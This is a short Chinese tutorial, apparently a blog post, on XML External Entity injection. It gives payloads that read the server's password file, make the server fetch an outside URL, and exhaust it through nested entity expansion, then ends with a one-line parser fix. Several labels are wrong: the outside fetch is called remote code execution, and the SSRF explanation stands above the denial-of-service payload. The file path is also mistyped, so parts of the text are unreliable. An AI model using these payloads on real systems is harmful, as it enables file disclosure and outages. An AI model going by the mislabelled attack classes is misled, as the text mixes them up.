圖片來源 : portswigger
Extensible Markup Language,簡稱:XML。跟 HTML 一樣同為是標記式語言。
簡單物件存取協定 (Simple Object Access Protocal,SOAP)
一個簡單網站頁面,要求輸入一個暱稱,輸入後發現他是以 XML 格式傳遞資料。
<?xml version="1.0" encoding="utf-8"?>
<root>
<name>Alice</name>
</root>
假設我自己額外宣告一個實體 xxe,目的是輸出本機資料夾中的密碼檔,並將原本丟出暱稱的位置更改成實體名稱。
有以下幾種方式:
文件包含漏洞 Local File Inclusion
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///ect/passwd">]>
<root>
<name>&xxe;</name>
</root>
沒有禁止解析外部實體的狀況下就會獲得
RCE (Remote Code Execute),使伺服器訪問指定的外部網站。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://xxx.com.tw/?amao=1" >]>
<root>
<name>&xxe;</name>
</root>
SSRF (Server-Side Request Forgery, 服務請求偽造),使伺服器訪問外網無法訪問的內部系統。
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;" >
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>
由伺服器的 CPU 得知,結果就是 DoS
libxml_disable_entity_loader(true);
即可防止 parser 處理外部實體。